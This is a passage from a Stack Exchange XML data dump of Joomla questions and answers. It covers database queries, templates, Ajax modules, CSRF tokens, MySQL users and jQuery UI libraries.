LastEditorUserId="52" LastEditDate="2014-07-30T20:40:45.497" LastActivityDate="2023-07-18T11:39:22.457" Title="Difficulties in calling ajax from joomla 2.5 module" Tags="|php|ajax|module|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2462" PostTypeId="2" ParentId="2458" CreationDate="2014-07-01T07:18:57.247" Score="0" Body="&lt;p&gt;I think&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $weight = $results-&amp;gt;product_weight; //here lies my problem, its ok for 1 record, doesnt go thru all&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$weight = $newresults['product_weight'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$newresults because this is the value of your database row in each foreach loop and the []-brackets because you load the result as an array, not an object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not totally sure what you want to achieve but you may also be missing a WHERE-clause in your $nuquery - otherwise you're always updating &lt;strong&gt;all&lt;/strong&gt; results in table #__virtuemart_product_prices, for example (not tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$nuquery = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;update($db-&amp;gt;quoteName('#__virtuemart_product_prices'))&#xA;    -&amp;gt;set($db-&amp;gt;quoteName('product_price') . ' = ' . $db-&amp;gt;quote($pricenew))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('virtuemart_product_id') . ' = ' . $db-&amp;gt;quote($newresults['virtuemart_product_id']));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2014-07-01T07:25:43.220" LastActivityDate="2014-07-01T07:25:43.220" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2464" PostTypeId="2" ParentId="2458" CreationDate="2014-07-01T07:28:50.167" Score="0" Body="&lt;p&gt;To update specific rows in a MySQL table, you will need a where statement to define which records you want to update. Otherwise an update query like yours will update any/all possible records of that table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to ensure that you will update the desired rows is to use their pk_key (row id).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be honest, I didn't study thoroughly your code and yet not that sure if you want to update 1 or more columns in the selected rows. But whatever the case, you will have to pass the rows id in a where statement within your update query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I am not sure that the loadResultArray() is still working in J2.5. You can use the loadRowList() instead.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-06T20:04:57.380" LastActivityDate="2015-06-06T20:04:57.380" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2465" PostTypeId="1" AcceptedAnswerId="2466" CreationDate="2014-07-01T08:19:09.687" Score="-2" ViewCount="1347" Body="&lt;p&gt;I have been searching the web for a an absolutely free template that has a red color shopping portal theme/layout. The issue is when i try to download the template, I am prompted to join the portal as a member via paying a certain amount of fee.&#xA;Can someone guide me here for an absolutely free and responsive Joomla template portal from where I can download my desired template? Thank you&lt;/p&gt;&#xA;" OwnerUserId="1593" LastActivityDate="2014-07-01T12:20:29.273" Title="Where to find absolutely free responsive templates for Joomla on the web?" Tags="|templates|responsive-web-design|" AnswerCount="2" CommentCount="1" ClosedDate="2014-07-01T22:20:54.070" ContentLicense="CC BY-SA 3.0" />
  <row Id="2466" PostTypeId="2" ParentId="2465" CreationDate="2014-07-01T08:51:07.193" Score="3" Body="&lt;p&gt;There are hundreds of free Joomla templates on the web, it really depends on what you consider to be 'good quality' There are few good quality free templates out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;what version of Joomla? &lt;/li&gt;&#xA;&lt;li&gt;what framework are you looking to use?&lt;/li&gt;&#xA;&lt;li&gt;what shopping cart are you going to implement?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Remember that if you do see a theme you like it's very easy to customise the colour to your red requirements using css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only speak from experience but I can recommend Joomlart (&lt;a href=&quot;http://www.joomlart.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlart.com/&lt;/a&gt;) GavickPro (&lt;a href=&quot;http://www.gavick.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.gavick.com/&lt;/a&gt;) and JoomlaXTC (&lt;a href=&quot;http://www.joomlaxtc.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlaxtc.com/&lt;/a&gt;). They all have a free version of some sort, worth a look. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the best templates are worth paying for and offer excellent support, plus it's always nice to give back to the developer(s) that have worked so hard on creating the template in the first place.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-07-01T08:51:07.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2467" PostTypeId="2" ParentId="2405" CreationDate="2014-07-01T10:14:13.427" Score="1" Body="&lt;p&gt;Problem was with the .htaccess file, I had added some rewrite rules which didn't come into effect immediately. Since removed and working again, thanks.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-07-01T10:14:13.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2468" PostTypeId="2" ParentId="2461" CreationDate="2014-07-01T11:35:47.750" Score="2" Body="&lt;p&gt;Nowadays, the simplest way to work with Ajax from modules is implementing &lt;strong&gt;com_ajax&lt;/strong&gt;. You can just install it and talk with com_ajax from any other extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, you are working fully integrated with Joomla API, and you are in a far better position than installing a raw index.php (besides a security risk, there are measures that restrict this raw access e.g. .htaccess, therefore you would have to deactivate them. In conclusion, not recommended)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla! Ajax Interface&lt;/strong&gt;&#xA;&lt;a href=&quot;https://github.com/Joomla-Ajax-Interface/component&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Joomla-Ajax-Interface/component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's included in Joomla 3.2 and superior, and it's installable on Joomla 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hello Ajax World&lt;/strong&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=Gyc1qwaUQoY&amp;amp;list=PLSwFVRVZ3joTo3InkU_FT65_AK8dQiyZ4&amp;amp;index=40&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=Gyc1qwaUQoY&amp;amp;list=PLSwFVRVZ3joTo3InkU_FT65_AK8dQiyZ4&amp;amp;index=40&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-01T11:35:47.750" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="2469" PostTypeId="2" ParentId="2465" CreationDate="2014-07-01T12:20:29.273" Score="3" Body="&lt;p&gt;In many cases what you are really paying for is support. Providing support costs template companies a lot of time and money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you pay nothing for a template you can expect to get zero support, and if you are not an experienced Joomla developer then it is probably support that you need more than anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting free templates is easy. Turning them into what you need is the hard bit. If you see a template that provides everything you need you should pay for it. The chances that a free template will magically provide everything you need is the same as the level of support you get; zero.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-07-01T12:20:29.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2470" PostTypeId="2" ParentId="2459" CreationDate="2014-07-01T17:17:36.633" Score="3" Body="&lt;p&gt;A few things occur to me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure you're submitting to a &quot;site&quot; controller, and not an    &quot;admin&quot; controller? The token for a site vs. admin form will be    different, since the session is different. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure you're    submitting via &lt;code&gt;POST&lt;/code&gt;? If you are submitting via &lt;code&gt;GET&lt;/code&gt; you need to    check the token using &lt;code&gt;JSession::checkToken('get')&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure    that you have put the token field inside the form tags? You can view    the source to confirm that this all looks correct.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-07-01T17:17:36.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2471" PostTypeId="1" AcceptedAnswerId="21790" CreationDate="2014-07-02T05:38:31.187" Score="5" ViewCount="1324" Body="&lt;p&gt;This  &lt;a href=&quot;https://joomla.stackexchange.com/questions/1/method-for-creating-a-subquery-using-jdatabase&quot;&gt;Method for creating a subquery using JDatabase&lt;/a&gt; provides some great insight and I think it would be beneficial to have a agreed method of subquery documented. I came across this because I am wanting to do the same thing but as an insert statement. The closest I ever got was replicated the entire table because for some reason I keep losing the columns.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$pre = $db-&amp;gt;getQuery(true);&#xA;&#xA;// Insert columns.&#xA;$columns = array('user_id', 'title', 'ordering', 'published', 'description');&#xA;&#xA;$now = $query-&amp;gt;currentTimestamp();&#xA;// Insert values.&#xA;&#xA;$pre-&amp;gt;insert($db-&amp;gt;qn('#__table'))-&amp;gt;columns($db-&amp;gt;qn($columns));&#xA;&#xA;&#xA;// Prepare the insert query.&#xA;$query-&amp;gt;select(array(&#xA;                    $db-&amp;gt;q('') . ' AS id',&#xA;                    $db-&amp;gt;qn('user_id'),&#xA;                    $db-&amp;gt;qn('c.name', 'title'),&#xA;                    $db-&amp;gt;q('1') . ' AS published',&#xA;                    $db-&amp;gt;q('') . ' AS ordering',&#xA;                    $db-&amp;gt;q('') . ' AS created_by',&#xA;                    $now .  ' AS created_on',&#xA;                    $db-&amp;gt;q('') . ' AS modified_by',&#xA;                    $db-&amp;gt;q('') . ' AS modified_on',&#xA;                    )&#xA;            )&#xA;            -&amp;gt;from($db-&amp;gt;qn('#__other_table', 'c'));&#xA;&#xA;    $query = $pre . $query ;&#xA;&#xA;    // Set the query using our newly populated query object and execute it.&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    $db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2017-10-25T21:18:09.680" Title="How to write an Insert Select Statement?" Tags="|jdatabase|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2472" PostTypeId="2" ParentId="2372" CreationDate="2014-07-02T06:39:48.173" Score="0" Body="&lt;p&gt;I have never worked with AceSEF, so I have no idea about its capabilities features and such.&#xA;I guess what you want is to not add those urls of the snippets items in the sitemap, since they are not actually pages.&#xA;If the sitemap creation feature does not provide a way to exclude items/urls from the sitemap, then one possible way to achieve this would be to override this feature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I have no access to the component, therefore it is impossible to speak specifically about what you have to change on the component. &#xA;But you could dig into the extension's sitemap creation code and find out more about how it is being handled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A possible approach could be the following:&#xA;You could create a specific category called &quot;Snippets&quot;, and then you could exclude all its items from appearing in the view part of the sitemap. It is possible that this exclusion must happen at a helper file, which might query the database for items, or inside a jSeblod - AceSEF plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I would started, in conjunction with a question to the AceSEF developers to find out more about the AceSEF's approach.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-07-02T06:39:48.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2473" PostTypeId="2" ParentId="2471" CreationDate="2014-07-02T06:59:54.713" Score="4" Body="&lt;p&gt;You have to type which values you want to insert&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pre-&amp;gt;insert($db-&amp;gt;qn('#__table'))-&amp;gt;columns($db-&amp;gt;qn($columns))-&amp;gt;values(here values);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1592" LastActivityDate="2014-07-02T06:59:54.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2475" PostTypeId="1" AcceptedAnswerId="2477" CreationDate="2014-07-02T08:26:08.893" Score="1" ViewCount="72" Body="&lt;p&gt;I have recently created a Joomla 3.3 website which consists of one user (all privileges) and one database on my shared hosting account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd now like to install Piwik analytics aswell on the same hosting account (&lt;a href=&quot;http://piwik.org/&quot; rel=&quot;nofollow&quot;&gt;http://piwik.org/&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way of approaching this as regards users? Piwik requires one db user with all privileges.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can I use the same user to manage my Joomla site and Piwik?&lt;/li&gt;&#xA;&lt;li&gt;Is there a security risk by doing this?&lt;/li&gt;&#xA;&lt;li&gt;Will there be any effect on site performance/speed?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if it makes much difference, however if somebody could point me in the right direction I would be most grateful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to keep things as simple as possible because my shared hosting (BT) does not allow users to modify db user privileges - and my client wants to stay with BT. Therefore each time I set up a user I have to contact them and wait (up to) 48hours for a response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm quite new to DBs so apologies for the naive question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-07-02T09:37:11.003" Title="MySql User with Multiple DBs Advice" Tags="|mysql|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2476" PostTypeId="1" AcceptedAnswerId="2484" CreationDate="2014-07-02T09:36:32.527" Score="1" ViewCount="873" Body="&lt;p&gt;I would like to hide/show specific fields in the K2 article editing panel for specific users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rYS0I.jpg&quot; alt=&quot;K2 article editing sidebar&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to hide all the &quot;item view options in category listing&quot; and only show the image size selection in the &quot;Item view option&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thoughts would be to duplicate the admin template and add &lt;code&gt;display:none;&lt;/code&gt; to everything I want to hide in the CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is a better way to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Isis admin template and joomla 3.3.1&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="1629" LastEditDate="2014-08-11T17:22:03.937" LastActivityDate="2014-08-11T17:22:03.937" Title="Customizing K2 admin panel" Tags="|joomla-3.x|templates|administrator|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2477" PostTypeId="2" ParentId="2475" CreationDate="2014-07-02T09:37:11.003" Score="2" Body="&lt;p&gt;On shared hosters it's quite usual that you only have one db user. Of course it is not best security practice to run various web applications with the same &quot;root&quot; db user. But on shared hosters you are usually stuck with what you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The danger is if you are being hacked and someone gets your credentials or can run code using your connections. Then he can do anything with your database. If it's only one user, he will have access to all your databases.&#xA;However hackers usually are most interested in the actual data (credit cards, emails, passwords and the like). They don't want to modify your database. Thus even a restricted user would allow them to get what they want.&#xA;So it's not really that big of an issue if you have only one user with all privileges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory you can also have Piwik and Joomla withing the same database. You can even run multiple Joomla instances in the same database as long as you have different prefixes.&#xA;I wouldn't care about the performance, that should not be a problem at all.&#xA;For me the main reason to have each application in its own database is the maintainability. For example it's easier to make and restore backups for a specific application and it's clear which database does what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you have the ability to create unique users and databases for each application, it's certainly good practice to do so. However if you can't do that, I wouldn't invest much time to get it done.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-07-02T09:37:11.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2478" PostTypeId="1" AcceptedAnswerId="2488" CreationDate="2014-07-02T10:29:17.633" Score="3" ViewCount="1523" Body="&lt;p&gt;I am using Joomla 3.3.1 with SEO links on, and after changing a menu type to external menu (which points to a PDF), I am getting the following PHP notice:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PHP Notice:  Undefined index: view in&#xA;  /mysite/components/com_content/router.php on line 70&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I went to the rounter.php and can see the following at line 70:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (($menuItem instanceof stdClass) &amp;amp;&amp;amp; $menuItem-&amp;gt;query['view'] == $query['view'] &amp;amp;&amp;amp; isset($query['id']) &amp;amp;&amp;amp; $menuItem-&amp;gt;query['id'] == (int) $query['id'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well, this is really a matter of having a &lt;code&gt;if (isset($query['view']))&lt;/code&gt; but I don't want to edit the core file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there will be a problem with &lt;code&gt;isset($query['id'])&lt;/code&gt;, that's because the URL in the menu is an external URL wich will not have an ID nor a view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a fix for this?&lt;/p&gt;&#xA;" OwnerUserId="38" LastEditorUserId="38" LastEditDate="2014-07-02T10:35:44.813" LastActivityDate="2014-07-04T07:50:04.477" Title="Undefined index: view with external url menu" Tags="|php|joomla-3.3.x|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2479" PostTypeId="1" CreationDate="2014-07-02T10:56:07.447" Score="3" ViewCount="132" Body="&lt;p&gt;I just installed a new template from &lt;a href=&quot;http://themeforest.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://themeforest.net/&lt;/a&gt;. My front end does not show all the components (banner, carousel, footer, etc.). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Template: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xm1c3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Frontend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/seljL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone guide me how to customize my theme? &lt;/p&gt;&#xA;" OwnerUserId="1593" LastEditorUserId="159" LastEditDate="2014-07-04T11:37:28.890" LastActivityDate="2014-07-04T11:37:28.890" Title="Why the newly installed template looks differently from the demo?" Tags="|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2480" PostTypeId="1" CreationDate="2014-07-02T11:00:31.987" Score="2" ViewCount="2016" Body="&lt;p&gt;I am trying to transfer Joomla site from one hosting to the other.&#xA;The error is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to a member function get() on a non-object in     /home/.../templates/beez_20/error.php on line 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have found the folowing lines in error.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;$params = JFactory::getApplication()-&amp;gt;getTemplate(true)-&amp;gt;params;&#xA;$logo =  $params-&amp;gt;get('logo');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe it can't find the parametres, so I should initialize it someway?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there are several warnings before fatal error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Warning: Invalid argument supplied for foreach() in /home/.../public_html/libraries/joomla/access/access.php on line 409&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Warning: Invalid argument supplied for foreach() in /home/.../public_html/libraries/joomla/plugin/helper.php on line 59&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Warning: Invalid argument supplied for foreach() in /home/.../public_html/libraries/joomla/plugin/helper.php on line 59&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Warning: Invalid argument supplied for foreach() in /home/.../public_html/libraries/joomla/application/menu.php on line 63&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Warning: Invalid argument supplied for foreach() in /home/.../public_html/includes/application.php on line 462&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1596" LastActivityDate="2014-07-02T14:04:44.793" Title="joomla error arising when transfer site to the other hosting" Tags="|joomla-api|templates|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2481" PostTypeId="2" ParentId="2479" CreationDate="2014-07-02T11:03:30.873" Score="3" Body="&lt;p&gt;This is most likely due to the fact that your previous template was using different module positions to the new template you are now using. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to do is simply open each of the modules that are not displaying as they should and assign them to a position that belongs to your new template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the default Joomla 3.x template (Protostar) uses &lt;strong&gt;position-7&lt;/strong&gt; for the right hand side, however another template may use &lt;strong&gt;sidebar-a&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find out the module positions for your template have a look at the Demo and on the main menu, go to &lt;strong&gt;Features&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Module Positions&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://demo.arrowthemes.com/?theme=legend&quot; rel=&quot;nofollow&quot;&gt;http://demo.arrowthemes.com/?theme=legend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-07-02T11:21:47.163" LastActivityDate="2014-07-02T11:21:47.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2483" PostTypeId="2" ParentId="2479" CreationDate="2014-07-02T13:10:14.613" Score="2" Body="&lt;p&gt;When installing a template into an existing Joomla install, it will never look like the demo of the new template. This is because all you've installed is the template itself and none of the demo materials. Unlike some other CMS's, most templates do NOT have things like carousel's built into them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have several choices:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start from scratch and see if the theme designer has a full demo package installer. This is a Joomla installer package that is a full copy of their demo, including all data, setup, extensions, etc. You will lose ALL of your data if you do this, but it will give you the full site that IS their demo&lt;/li&gt;&#xA;&lt;li&gt;See if they have a demo installer, but install it somewhere else (or through a mamp/wamp/xamp app) so you can use it as a reference to set your site up to match it&lt;/li&gt;&#xA;&lt;li&gt;See if the theme designer has instructions on how to set up your site to match their demo.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-07-02T13:10:14.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2484" PostTypeId="2" ParentId="2476" CreationDate="2014-07-02T13:38:47.983" Score="2" Body="&lt;p&gt;This is what I did : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;duplicated the isis template and asigned the duplicated template to the target users.&lt;/li&gt;&#xA;&lt;li&gt;Created a template override for the com_k2 item in &lt;code&gt;/administrator/templates/isisCopy/html/com_k2/item/default.php&lt;/code&gt; and deleted the unwanted fields in that file.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="36" LastActivityDate="2014-07-02T13:38:47.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2485" PostTypeId="2" ParentId="2480" CreationDate="2014-07-02T13:48:07.720" Score="2" Body="&lt;p&gt;Those calls are all related to unexpectedly empty database results so it looks as if Joomla is not connecting to the database correctly. You need to check your database settings on your new site and check that you are using the correct driver (probably mysql or mysqli), as well as the correct database name and credentials. These settings re all found in the configuration.php file in your site's root folder (/home/.../public_html/). You also need to check that the database is populated correctly.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2014-07-02T14:04:44.793" LastActivityDate="2014-07-02T14:04:44.793" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2486" PostTypeId="1" AcceptedAnswerId="2487" CreationDate="2014-07-02T14:16:26.293" Score="7" ViewCount="1784" Body="&lt;p&gt;According to the docs at &lt;a href=&quot;http://docs.joomla.org/J3.x%3aJavascript_Frameworks&quot;&gt;jQuery UI Framework&lt;/a&gt;, to use a JUI library such as &lt;code&gt;sortable&lt;/code&gt;, the following code is required: &lt;code&gt;JHtml::_('jquery.ui', array('sortable'));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This apparently works fine if &lt;code&gt;jquery.ui.sortable.js&lt;/code&gt; is exists, but there are no equivalent files for other JUI libraries, specifically draggable/droppable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to use JUI libraries that aren't included with the core J3.x installation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&#xA;With the guidance from @lodder, here are the steps I followed to get the full working JUI library:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Went to &lt;a href=&quot;http://jqueryui.com/themeroller/&quot;&gt;JUI Themeroller&lt;/a&gt; and created/downloaded the theme and related files &lt;/li&gt;&#xA;&lt;li&gt;Created the folder &lt;code&gt;component/com_XXX/assets/jquery-ui-1.11.0.custom&lt;/code&gt; to contain the theme and libraries from the downloaded zip.&lt;/li&gt;&#xA;&lt;li&gt;Added the below code to my component, and &quot;tada&quot;...all the JUI features/functions were available.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;This place wouldn't be the same without Lodder&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework');&#xA;JHtml::_('script', JUri::root() . 'components/com_XXX/assets/jquery-ui-1.11.0.custom/jquery-ui.min.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-07-02T15:22:58.810" LastActivityDate="2014-07-02T15:46:44.837" Title="How to use additional jQuery UI libraries such as draggable?" Tags="|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2487" PostTypeId="2" ParentId="2486" CreationDate="2014-07-02T14:28:37.027" Score="1" Body="&lt;p&gt;To import additional JS libraries, you should use the &lt;code&gt;JHtml&lt;/code&gt; method like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('script', JUri::root() . 'path/to/the/file/script.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are &lt;strong&gt;no&lt;/strong&gt; CDN links that I know of for separate jQueryUI widgets, which is a shame, else you could have done this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('script', '//cdnjs.cloudflare.com/ajax/libs/script.js'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for the location of the JS files, I would either create a folder in the &quot;media&quot; folder and put them in there, or add them to the same directory as the core files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROOT/media/jui/js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to replace the JUI library. The one you currently see is the core library which doesn't contain any widgets. Widgets which when imported, come from separate files and is done using the code you provided in your question. To get widgets that aren't provided with the Joomla package, you can either do as I described in my answer, or compile a JUI package on the official website and replace the &lt;code&gt;jquery.ui.core.min&lt;/code&gt; file with it. Then, using will import the core along with the widgets that you compiled it with.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.ui');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is however &lt;strong&gt;not&lt;/strong&gt; recommended&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having looked at the documentation, you can also add you own libraries and call them using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('mylibrary.myloader');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure exactly how this works as I have never tried it, but it is also another alternative and also in favour of Update 1.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-07-02T15:46:44.837" LastActivityDate="2014-07-02T15:46:44.837" CommentCount="6" 